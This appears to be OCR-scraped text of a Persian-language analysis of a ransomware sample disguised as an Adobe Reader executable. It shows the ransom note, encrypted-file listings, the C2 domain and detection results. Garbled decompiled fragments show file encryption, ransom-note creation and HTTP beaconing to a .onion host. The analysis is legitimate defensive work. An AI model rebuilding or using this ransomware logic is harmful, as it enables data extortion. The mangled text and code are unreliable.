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1 Task Manager - [m] X
File Options View

Processes Performance App history Startup Users Details Services

CPU .
] 225000 CPU  intelr) core(rm) i7-6700HQ CPU @ 2.60GHZ
% Utilization 100%
Memory
1.7/4.0 GB (43%)
Disk 0 (C)
ol L)) 25%
|J ol ‘ﬂﬂl"‘
Ethernet /\ -
S: 0 R: 0 Kbps ff{\,. A\ \/-V\/“'\ ff\,\ A \/ ‘-‘V/‘%'*-\\
]
60 s;acls 0
Utilization ~ Speed Base speed: 2.59 GHz
23%  259GHz  Sodes 2

Virtual processors: 4
Processes  Threads  Handles

Virtual machine: Yes
110 1452 37838 Licache: N/A
Up time
0:00:20:35

( :._," Fewer details @ Open Resource Monitor

S B s s bl LU 5 es S Oley 1 o5 ol BB dzl G rames S

-

~
2~ 378b34a3e1f760dc7dbe5T742c543a0 1346255C?C34226343...ﬁ

General ‘Companbility | Securityl Details | Previous Versicns‘

}- f742c543a0184a255¢c7c3422e348eab05dca 1377 exe
i
_‘i'm Type offile: Application (.exe)
i Description Adobe Acrobat Reader
EVCUESEEE
Location: C\Users\Mahsirat\Desktop
Size: 275 KB (282,112 bytes)
n Size ondisk: 276 KB (252.624 bytes)
AR Created Today, August 15, 2018, 30 minutes ago
Modified: Saturday. August 11, 2018, 10:09:43 AM
Accessed: Today. August 15, 2018, 30 minutes ago

Atiributes: [TRead-only  [¢/|Hidden

[ OK ] [ Cancel Apply
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, " .pab", " . Oab", " .msg"

" .tXt", " .rtf", " .dOC", " .dOCX", " .XlS", " .XlSX", " .ppt", " -pth", " oodt"™" .OdS",
df", " jpg", " jpeg", " .pngn, " .gif", " .bmp", " .CSV", " Sql", " .mdb",
n .db", n .accdb", ", sln", n .php", n .jsp", n .aspn, n .aspx", ", , n .htm", " .xml",
" .psd'l’ " oCS", " .java"’ " .Cpp'l’ " oCC", " oCXX", " . Zip", " .rar'l’ " .pst'l’ " .Ost'l’ " .eml"

n

-P

Pl 5 e 4 IBIEL el il 6 oS

378b34a3elf7/60dc/d

bc5ff742c543a0184a

255c7c3422e348eab0
S5dcal377f9

oau:d»lpdft}ﬁlé&_lﬁj_@j\bgﬁ‘);ﬁ%ﬂjﬁ S0 LB sl gl L3 Osls o b sk 4

PSS o My i 5 S 4 GL S e o BB (518 e, AnT b pleSl 51 e el 03 S

)

OO v ‘ | » test - | +y ‘ | Search test 2|
Organize ~ Open Share with = Burn New folder = O @
- Favorites Name ° Date modified Type Size
M Deskiop test (1).apk 3/12/2015 159 AM  APKFile 9,288 KB
|4 Downloads 8 test (1).avi 1/10/2018 6:41 PM  Video Clip 31,433 KB
<» Recent Places & test (1).omp 6/28/2005 12:32 PM  Bitmap image 737 KB
test (1).DAT 10/30/2015 7:57 PM  DAT File 96,802 KB
4 Libraries test (1).dockransom 8/14/2018 12:35 PM  RANSOM File 177 KB
.. Documents test (1).htm.ransom 8/14/2018 12:35 PM  RANSOM File 90 KB
& Music test (1).html.ransom 8/14/2018 1235 PM  RANSOM File 3,048 KB
& Pictures =/ test (1),jpg 7/23/2010 11:36 PM  JPEG image 374 KB
& videos test (1).mkyv 10/22/2017 11:11 .. MKV File 864,500 KB
2] test (1).mp3 9/26/2017 12:31PM  MP3 Format Sound 4,485 KB
& Computer & test (1).mpeg 8/6/2017 10:29 AM  Movie Clip 45,740 KB
& Local Disk (C) test (1).pdf.ransom 8/14/2018 12:35 PM  RANSOM File 4,256 KB
+ Media (E) test (1).ppt.ransom 8/14/2018 1235 PM  RANSOM File 579 KB
w Soft (F) test (1).rar.ransom 8/14/2018 1235 PM  RANSOM File 1KB
test (L.srt 9/9/2016 704 AM SR File 93KB
& Network ® test (1).ts 11/1/2010 530 AM  MPEG-2 TS Video 1,015,200 ...
2] test 2.mp3 9/26/2017 12:31PM  MP3 Format Sound 6,296 KB
3 test (1).docx.ransom Date modified: 8/14/2018 12:35 PM Date created: 7/30/2018 1:26 PM
RANSOM File Size: 176 KB
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(=), |
WARNING Encrypted Files 4 =

Cc © () filey///C:/Users/Mahsirat/Desktop/README_TO_DECRY 0% = @ % N @ =

I ' YOUR FILES HAVE BEEN ENCRYPTED WITH RANSOMWARE
m

[EN] - [RU] - [DE] - [FR] - [ES] - [IT] - [NL] - [FAS] - [ZA]

The Kev to Decrypt Your Files Will Be DELETED in 7 Days

Send Me 0.10 BITCOINS (You Have Only 7 Days From Now)

Bitcoin Address: 1PyySWHoqQeGk9zKn9f72ul.4hbFSmhf7ec

- https://paxful.com/
Buy Bitcoins On: - https://localbitcoins.com/
- https://www.bitpanda.com/

After Send Me an Email With Your ID: CC4DSEF892F84A31B44F

himera(@secmail pro

I Will Send You the Key to Decrypt Your Files

55,5 dalg Gl L Job 55,V ode 3 aS e, S dg |y S S rz—l.@.aagﬂa\j}cl.g r&,«.ﬁ)s

P e e S Se eV )l TSt

Jsm S ol el (=L>_=.;| S s Gk .l esls | YPyyeWHoqQeGkazKnafvYuLi hbFomhfvec

el sl 2S1 5 0SS U

Summary Transactions

Address 1Pyy5WHoqQeGk9zKnSf72uL4hbF5mhf7ec No. Transactions 0

Hash 160 fc18df54bd84fd384651df2b0fd8d139a725e8ba Total Received 0BTC
Final Balance 0BTC

w‘oJ;Ljﬁijﬂ)M‘dbU)| o‘)u“yﬁmugf) C"el'i)JLS‘j"r}L@'ﬂ

chimera@secmail.pro
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File Edit Format View Help
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e
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ol pp i bl
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1Pyy5WHoqQeGk9zKn9f72uL4hbF5mhf7ec
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- https://paxful.com/
- https://localbitcoins. com/
- https://www.bitpanda. com/
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- » Computer » Local Disk (C) » Program Files » dnSpy »

v |44 [\ Search dnspy

Organize ~ Include in library ~ Share with = Burn New folder
. Favorites Name Date ”noc;fed Type Size Rl
M Desktop dnlibxml.ransom 8/15/2018 12:05 A.. RANSOM File 1913 KB E‘
}4 Downloads dnSpy.Contracts.Debugger.DotNet.CorDebug.xmlransom  8/15/2018 12:05 A..  RANSOM File 11KB I
<» Recent Places dnSpy.Contracts.Debugger.DotNet Mona.xml.ransom 8/15/2018 1205 A..  RANSOM File 11KB
dnSpy.Contracts.Debugger.DotNetxml.ransom 8/15/2018 12:05 A.. RANSOM File 152 KB
- Libraries dnSpy.Contracts.Debugger.xml.ransom 8/15/2018 1205 A.. RANSOM File 469KB
% Documents dnSpy.Contracts.DnSpy.xml.ransom 8/15/2018 12:05 A.. RANSOM File 2,159 KB
4 Music dnSpy.Contracts.Logicxml.ransom 8/15/2018 1205 A..  RANSOM File 193 KB
= Pictures dnSpy.Debugger.DotNetInterpreter.xml.ransom 8/15/2018 1205 A.. RANSOM File 52 KB
8 videos dnSpy.Debugger.DotNet Metadataxml.ransom 8/15/2018 12:05 A..  RANSOM File 290 KB
dnSpy.Decompiler.ILSpy.Core.xml.ransom 8/15/2018 12:05 A.. RANSOM File 16 KB
‘& Computer dnSpy.DecompilerILSpy.xxml.ransom 8/15/2018 1205 A..  RANSOM File 6KB
& Local Disk (C) dnSpy.Imagesxml.ransom 8/15/2018 1205 A..  RANSOM File 1KB
> Media (E) dnSpy.Roslyn.Shared.xml.ransom 8/15/2018 1205 A..  RANSOM File 30KB
& Soft (F) dnSpy.Scripting Roslynxxmlransom 8/15/2018 12:05 A..  RANSOM File 22KB
ICSharpCode.NRefactory.CSharp xml.ransom 8/15/2018 12:05 A.. RANSOM File 192 KB
& Network ICSharpCode NRefactory.xml.ransom 8/15/2018 1205 A.. RANSOM File 264 KB
Microsoft.Diagnostics.Runtime.xml.ransom 8/15/2018 12:05 A.. RANSOM File 323 KB
Roslyn.Services.Editor.CSharp.UnitTests.xml.ransom 8/15/2018 12:05 A.. RANSOM File 3KB
Roslyn.Services.Editor.UnitTests.xml.ransom 8/15/2018 12:05 A.. RANSOM File 10KB i
179 items
[
Z . . .
AS o (5,5 sl task manager Ol | 5l ioman )bﬁ\cl.g o
iy -
Task Manager @
L J Task Manager has been disabled by your administrator.
OK
e

Sl s 3l w LIBlEl gl IS i ) 2 b

3)ls .net framework « 3L 1 > ¢l Jbé‘d’- o

Sl sl S cofuser(.net obfuscator) S L i )lj-_élal.g
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DLL Scanner @

Detected: Confuser ((NET Obfuscator)
Possible:

Contact:

Last Update: Januamy 12 2017

53 1l 5l e RaNiON 1531 2L Sl e opl el s 3 SIS & ol LB 0 S Sl 3l
S o (68 sl aali e D B e Sl 5 S e |l e e 53 1) 25 GLE s

=ad thread = object_@
thread )

thread
thread.
thread.S
Thread

('thread.

5 Jole (s <=U cvideo controller ¢ 5« sl s ¢ sl a3l Lo SleDbl olad ioean
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FileAttributes.
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string_24);
string_24);
string_24);
string_24);
string_24);
string_24);
string_24);
string_24);
string_24);
string_24);
string_24);
string_24);
string_24);

string_24);

3 1++)

extension i (files[i]);
fileName i (files[i]);
pathRoot = . (files[i]);
text = files[i]. 7 (pathRoot.

[1

path = )
fileNameWithoutExtension =

.string 12 = fileNameWithoutExtension

rijndaelMan
rijndaelMan

ndaelMan

m{memoryStream, rijndaelManaged.

cryptoStream.Cl

result = memoryStream.
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L g 0l 50y sl L1 u.«l_ﬁj:x_{)\}_é\cl_{ "’thd" PP nglfjj,a) CryptoStream @U Loy

..x;Sda 4aslsl “.ransom”

72uL4hbF5mhfiec”™;

cmail.pro”;

d5CryptoServiceProvi
uilder =
< array.

d(array[i].ToStri

t

shtml LB sl S, S das o il Sl 3 a5 ol gl el Ghs s a Ll Bl

byte : (string_24);
array = Encoding. .Ge s(string_25);

(string_24, bytes);
(string_24, string 24 +
LAnt 14+
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text =
text2
text3
textd
texts
path =
textb
text/
textd
text9
textld
textll
textl12
text13

ME_TO_DEC
= "\\README_T

(text2®, contents9);
(path8, contents9);
(2);

[1 contents1® =

» Files Will Be
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LS o oslizal HttpWebRequest |io ol s 51 i mol a0 Jlasl (gl poomon BT

httplebReque
= 1)

=

quest

httpllebRe
i 5++;

httpllebRequest
| 5 = 1;
s5 =
(int_12 == 1)

wa
3

"rid=" + str;

[] bytes6
httplebRequest.
httphebRequest.
httphebRequest.
httplebRequest.
httphebRequest.
GCla

[

(

am requestStream

requestStream. Wri

t;

(requestUriString);

(requestUriString?);

-urle

nMethods.

httpWebRequest.G

e(bytes6, 0, bytes6.

e httpWebResponse = (Http

string_25

(
t httpWebRequest
Http

flag;
(httpWebResponse.

(httpWebResponse.

(httpWebResponse.

flag

}
¥
flag = !httpWebResponse.

m responseStream
m stream
[1 array

[.

4
¥

(num
stream.C

httplebResponse

string_0, string_1)

bR

. (string
)httplWebRequest.(

= +R

!= HttpStatusCode.OK)
HttpStatusCode.

I= HttpStatusCode.

StringCompar:

= httpWebResponse.G
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registryKey =
(int_12 Q)

registryKey.De

registrykKe

registryKey.

int_12)

trykey registryKey =
(int_12 != @)

registryKey.

registrykKe

registryKey.

text =
result;
(text 1= "")

result = text;

result "Unknow

result;

string_1)
(string 1 != "")

GCla string_1;

( yKey registryKey =

3,8 0 Do 3 SIS aabd ban g (6 i

urrent
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string_1)
(string_1 != ")

ng_@ = string_1;

regist

(Exception)

HECOR- TS R WE,

cRanion V.04 155l 2Ly (555 = S e cnl Olelid S a5 a8 S &) 50 Slislesl 5l s b

s 3 el ol s 1K Dbl

domain

address

country

darkccYdejaiavne.onion.to

YAONv v AONOY

Romania

checkip.dyndns.org

YVUNEAYAV

United States
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: VirusTotal Sblw > 9 5

535 VirusTotal wlelw 53 35> g0 S50 1 5 es s 1WA 5la5e 84 sl Jul= Jl> o

Ad-Aware

AlYac

Avast

Avyira

BitDefender
ClamAv
CrowdStrike Falcon
Cylance

Drweb

Endgame
ESET-NOD32
Fortinet

Ikarus

KIGW
Malwarebytes
McAfee

Microsoft

Palo Alto Networks
Qihoo-360
SentinelOne
Sophos ML
Tencent
TrendMicro-HouseCall
Webroot

ZoneAlarm

PP ERPPRPPEPRRPPRPRPEPDDPD

Trojan.GenerickKD.31147075
Trojan.GenerickKD.31147075
Win32:Malware-gen
TR/Kryptikbwbps
Trojan.GenerickD.31147075
Win.Trojan.Agent-6633458-0
malicious_confidence_90% (D)
Unsafe

Trojan.5iggen7. 56250

malicious (high confidence)
MSIL/Filecoder.FU

MSIL/Kryptil. LMX!tr
Trojan.MSIL.Crypt

Trojan (00539601 )

Backdoor FakePDF
GenericRXDQ-NUI4A9BS1A32895
TrojanDownloaderWin32/Upatre
generic.ml

Win32/Trojan.fo7

static engine - malicious
heuristic

Win32.Trojan Fakedoc.Auto
TROJ_GEM.FOC2CO0H318
W32 Malware.Gen

HEUR:Trojan.Win32.Agent.gen

S o Je e b ol |y Ol 5 05 155 zb ol plebis

AhnLab-Vv3
Arcabit

AVG

AVware
CAT-QuickHeal
Comodo
Cybereason
Cyren

Emsisoft
e5can
F-Secure
GData
K7AntiVirus
Kaspersky
MAX
McAfee-GW-Edition
NANO-Antivirus
Panda

Rising

Sophos AV
Symantec
TrendMicro
VIPRE

Zillya

AegisLab

o ELEPPPEPPPRPEPPEPPPDDPD

Trojan/Win32.Ransom.C2488314
Trojan.Generic.01DB4443
Win32:Malware-gen
Trojan.Win32.Generic!BT
Trojan.YakbeexMSIL.ZZ4
UnclassifiedMalware
malicious.cb1f23

W32/ Trojan.LUPS-3587
Trojan-Ransom.Ranion (A)
Trojan.GenerickD.31147075
Trojan.GenerickD.31147075
Trojan.GenerickKD.31147075
Trojan { 005396cc1 )
HEUR:Trojan.Win32.Agent.gen
malware {ai score=86)
BehavesLike Win32.Trojan.dh
Trojan.Win32 Kryptik fgekgh
Trj/GdSdaA
Downloader.Upatre!8.85 (CLOUD)
Mal/MSIL-TS

Trojan.Gen.2
TROJ_GEM.FOC2CO0H318
Trojan.Win32.Generic!BT
Trojan.GenerickD.Win32.139380

Clean

>
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Dangerous

Dangerous

Win. Trojan.Agent-6633458-0

Dangerous

Trojan.Siggen? 56250\nScanned

Dangerous

Dangerous

Clean

Dangerous

Dangerous
MSIL/Filecoder FU trojan

Dangerous

Dangerous
Mal/MSIL-TS

Dangerous
Infostealer. Atesla

g BT

avast

clamav

kaspersky

fsecure

comaodo

esel

bitdefender

sophos

symantec

2loy



